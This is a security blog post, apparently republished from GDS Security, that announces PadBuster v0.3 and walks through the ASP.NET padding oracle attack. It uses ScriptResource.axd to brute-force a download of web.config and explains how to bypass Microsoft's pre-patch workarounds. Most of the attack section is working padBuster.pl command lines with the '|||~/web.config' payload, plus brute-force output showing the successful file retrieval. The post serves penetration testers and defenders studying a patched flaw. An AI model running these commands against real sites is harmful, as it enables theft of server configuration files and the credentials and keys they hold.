Penetration Testing Lab

Now that a weekend has passed since the .NET patch was released, and since there is already a working public example of how to reliably download a web.config using the padding oracle attack, we have decided to finally release v0.3 of PadBuster with the “Brute Force” option. This option is specifically designed to handle scenarios where the first block of ciphertext cannot be crafted using CBC-R due to a secret IV. This feature was NOT designed specifically for the .NET attack, as our intention for PadBuster is to be a universal tool for identifying and exploiting padding oracles in any web application. That being said, the brute force option CAN be used to reliably perform a web.config download attack within a reasonable number of requests.

Before discussing how to perform this attack using PadBuster, and some of the other new features in this version, it’s worth noting that there are more efficient ways to perform the web.config download attack using ScriptResource.axd. The T-Block brute force attack vector, which was originally pointed out to me by James Martin of ESP Technologies and is also discussed here by Giorgio Fedon of Minded Security, is significantly faster and more efficient. This technique, however, is pretty specific to the .NET ScriptResource.axd attack and as such is not likely to be incorporated into PadBuster (a separate exploit script is probably warranted).

The web.config attack using PadBuster is essentially a three step process. I will assume that the reader is already familiar with the specifics of why the script resource handler is vulnerable to a file download attack. If you are not familiar with the underlying issue, you can read about it here, here and here.

Step 1: Encrypt the Payload using CBC-R

The first step of the attack is to identify a component that is vulnerable to the padding oracle attack and use it to encrypt the web.config payload (|||~/web.config). This can typically be done in a few ways:

1 – Using WebResource.axd as a padding oracle for CBC-R.

If CustomErrors are NOT enabled, then you don’t even need a valid ciphertext sample to exploit the oracle…you can use an encoded dummy value of all NULLS instead (AAAAAAAAAAAAAAAAAAAAAA2).

padBuster.pl http://www.myapp.com/WebResource.axd?d=AAAAAAAAAAAAAAAAAAAAAA2 AAAAAAAAAAAAAAAAAAAAAA2 16 -encoding 3 -plaintext "|||~/web.config"

If CustomErrors ARE enabled, you can still use WebResource.axd as the oracle. The caveat, however, is that you’ll need to use a valid ciphertext query string sample and use the -prefix option so that PadBuster sends this sample as the prefix of each test request.

padBuster.pl http://www.myapp.com/WebResource.axd?d=1s45vAJre3GVd98iQoAjgQ2 1s45vAJre3GVd98iQoAjgQ2 16 -encoding 3 -plaintext "|||~/web.config" -prefix 1s45vAJre3GVd98iQoAjgQ2

2 – Using ScriptResource.axd as a padding oracle for CBC-R. 

Like with the web resource handler, this is pretty straightforward if CustomErrors are not enabled:

padBuster.pl http://www.myapp.com/ScriptResource.axd?d=1s45vAJre3GVd98iQoAjgQ2 1s45vAJre3GVd98iQoAjgQ2 16 -encoding 3 -plaintext "|||~/web.config"

If CustomErrors ARE enabled, this handler can also be used as a padding oracle. The interesting thing about this technique is that it seems to work despite implementing all of the workarounds that Microsoft recommended before the patch was issued (CustomErrors using RedirectMode and optional Sleep). This technique, however, requires use of the brute force option so I’ll come back to that in a bit.

Step 2: Verify the encrypted payload does NOT include pipes

This step is optional, but certainly worth performing to ensure that you aren’t headed down a dead end road. In order for the exploit to work, the payload you send to the handler (including the “garbage” IV block) CANNOT include any pipe characters. If it does, the payload will never work. To verify this, you can use the padding oracle to decrypt your payload and verify its contents. So assuming that Step 1 produced a payload value of “iJBC6whziIIWQhKYX4KDpwAAAAAAAAAAAAAAAAAAAAA1″, then the following command would be used to verify the contents of the payload. Make sure to use the -noiv option as the first block is the one you are most interested in.

padBuster.pl http://www.myapp.com/WebResource.axd?d=iJBC6whziIIWQhKYX4KDpwAAAAAAAAAAAAAAAAAAAAA1 iJBC6whziIIWQhKYX4KDpwAAAAAAAAAAAAAAAAAAAAA1 16 -encoding 3 -noiv

So what if your payload DOES include pipes? Not to fear, there’s an easy workaround for this too. You may have noticed that when you decrypt samples using PadBuster, it prints the HEX encoded Ciphertext Bytes and Intermediate Bytes with the results of each block. You can optionally use any of these pairs along with the -ciphertext and -intermediate switches to feed PadBuster a known pair of ciphertext/intermediate values for use during CBC-R encryption. Using any one of these pairs to encrypt your exploit payload should produce a different payload than would otherwise be generated by PadBuster on its own, which can then be verified to ensure that it does not contain pipes.

Step 3: Brute force the first block

Now that you have a valid payload, the final step is to obtain the first block that will trigger the file download logic. The reason this step is tricky is that the Framework typically does not pass an IV along with the ciphertext. As such, we can’t use the padding oracle to reliably produce our desired first block.

The good news is that since you only need the first two bytes of the decrypted value to trigger our exploit (either Q#,q#,R# or r#) you can essentially brute force the needed block with fairly reliable success. And the even better news is that you’d be surprised at how quick it is to blindly brute force one of these values.

The approach taken by PadBuster is similar, but slightly different, than the approach used by Web.config Bruter script released by Giorgio Fedon. I must again credit James Martin for originally sharing his proof of concept exploit code with me that leveraged this technique for identifying the first block. Instead of random block values, however, PadBuster performs a sequential brute force starting with all NULLS. The sequential brute force ensures that you never attempt the same block value more than once and also allows you to resume the brute force where you left off if the script gets killed (using the -resume option). The example shown below assumes the payload from our Step 2 example above:

padBuster.pl http://www.myapp.com/ScriptResource.axd?d=iJBC6whziIIWQhKYX4KDpwAAAAAAAAAAAAAAAAAAAAA1 iJBC6whziIIWQhKYX4KDpwAAAAAAAAAAAAAAAAAAAAA1 16 -encoding 3 -bruteforce -log

PadBuster’s brute force mode works similar to the other modes of PadBuster, where the first step is an automated response analysis. The main difference is that rather than identifying a padding error, you want to identify an error that indicates failure of the brute force attempt rather than success. In most cases, you may have only one response to choose from…which is totally fine (unless one of the initial 256 fuzzing attempts produces a different response). In the case of ScriptResource.axd, there’s a good chance you’ll have more than one as shown below.

INFO: Starting PadBuster Brute Force Mode
[+] Starting response analysis...

*** Response Analysis Complete ***

The following response signatures were returned:

-------------------------------------------------------
ID#     Freq    Status  Length  Location
-------------------------------------------------------
1       1       200     337     N/A
2 **    255     404     1524    N/A
-------------------------------------------------------

Enter an ID that matches the error condition
NOTE: The ID# marked with ** is recommended :

The reason for the 200 response included above is the T-Block. For our purposes, we are not using the T-Block so we can select signature #2 (the 404). PadBuster will continue issuing brute force attempts and notify you of every response that does not match this signature. You’ll likely get several T-Block hits similar to the 200 response shown above before you hit a block that returns the web.config as shown below (this is just an excerpt from the output)

Attempt 4275 - Status: 200 - Content Length: 367

http://www.myapp.com/ScriptResource.axd?d=igA4AAAAAAAAAAAAAAAAAA8AKxtNMQoQQxBBBBVqZAJ2R8LhDGgKEb9nsHoH-jVA0

Attempt 4561 – Status: 200 – Content Length: 360

http://www.myapp.com/ScriptResource.axd?d=4AA4AAAAAAAAAAAAAAAAAA8AKxtNMQoQQxBBBBVqZAJ2R8LhDGgKEb9nsHoH-jVA0

Attempt 4792 – Status: 200 – Content Length: 100277

http://www.myapp.com/ScriptResource.axd?d=xwA5AAAAAAAAAAAAAAAAAA8AKxtNMQoQQxBBBBVqZAJ2R8LhDGgKEb9nsHoH-jVA0

Attempt 5353 – Status: 200 – Content Length: 359
http://www.myapp.com/ScriptResource.axd?d=BAA6AAAAAAAAAAAAAAAAAA8AKxtNMQoQQxBBBBVqZAJ2R8LhDGgKEb9nsHoH-jVA0

As you can imagine, it’s difficult to tell whether these responses contain anything meaningful based solely on the data that is printed to the screen. In the case of this exploit, we know that the web.config file is likely going to be much larger than the small T-Block responses which average around 500 Bytes. You can actually see that in the excerpt above, attempt number 4792 shows a much larger content length…this is the response that contains the web.config file. The inclusion of unwanted T-Block responses in our output is a result of our desire to maintain PadBuster as a universal tool that is not specific to a particular vulnerability such as this one.

You may also have noticed that our original command made use of another new option (-log). The “log” option tells PadBuster to log various output files in an automatically generated folder using the PadBuster.DDMMYY-TIME naming convention. This option is critical for use in brute force mode, since each matching response is logged to this folder and can be easily reviewed to determine whether the brute force attempt worked. For the case of a web.config download exploit, I recommend running the above command and monitoring the output folder to determine when a significantly larger response file gets created.

Bypassing the Workarounds

Now that you’ve seen how to retrieve the web.config, let’s go back to an alternate technique for using ScriptResource.axd as a padding oracle. As I mentioned previously, this technique works despite implementing the recommended workarounds initially presented by Microsoft in their guidance preceding the patch release. To start, you’ll need a valid ciphertext sample. The sample, however, does not have to be valid for the script resource handler (it can be taken from any Framework component…most easily from the WebResource.axd query string).

Step 1: Find a valid T-Block Request

Using the obtained sample, along with the -bruteforce option, the following command can be used to quickly brute force a valid T-Block. The following example assumes that we were able to obtain a valid “d” value from a link to the web resource handler (/WebResource.axd?d=qmZbysenet6VGS94Ord8gQ2&t=633768217780468750).

padBuster.pl http://www.myapp.com/ScriptResource.axd?d=qmZbysenet6VGS94Ord8gQ2 qmZbysenet6VGS94Ord8gQ2 16 -encoding 3 -bruteforce

Once you run PadBuster with these options, and select the default error pattern, you should get a 200 response within the first few hundred requests similar to the one shown below:

Attempt 60 - Status: 200 - Content Length: 337
http://www.myapp.com/ScriptResource.axd?d=OwAAAAAAAAAAAAAAAAAAAKpmW8rHp3relRkveDq3fIE1


Step 2: Use the obtained T-Block with the -prefix option

Now you can leverage the obtained T-Block request, along with the -prefix option, to use the script resource handler as a padding oracle as shown below.

padBuster.pl http://www.myapp.com/ScriptResource.axd?d=qmZbysenet6VGS94Ord8gQ2 qmZbysenet6VGS94Ord8gQ2 16 -encoding 3 -noiv -prefix OwAAAAAAAAAAAAAAAAAAAKpmW8rHp3relRkveDq3fIE1

The examples above hopefully demonstrate how to use the new features of PadBuster for performing various exploits against the .NET framework. Our plan is to add more features to PadBuster where they make sense, specifically features that can be useful in against a wide variety of padding oracle attack vectors. As always, send us your feedback, modifications, bug reports, or general comments so that we can incorporate them into future versions.

Source: http://blog.gdssecurity.com/labs/2010/10/4/padbuster-v03-and-the-net-padding-oracle-attack.html